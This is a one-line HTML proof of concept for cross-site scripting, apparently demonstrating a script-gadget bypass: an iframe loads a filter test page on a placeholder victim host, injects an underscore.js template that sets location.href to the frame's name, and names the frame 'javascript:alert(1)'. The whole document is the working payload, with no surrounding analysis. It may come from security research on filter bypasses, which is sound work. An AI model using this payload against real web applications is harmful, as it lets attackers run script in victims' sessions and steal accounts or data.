<iframe src="http://victim.example.com/repo/filters/noscript/underscore.php?inj=<div type=underscore/template><% a=location; %> <% a.href=name %></div>" name="javascript:alert(1)"></iframe>
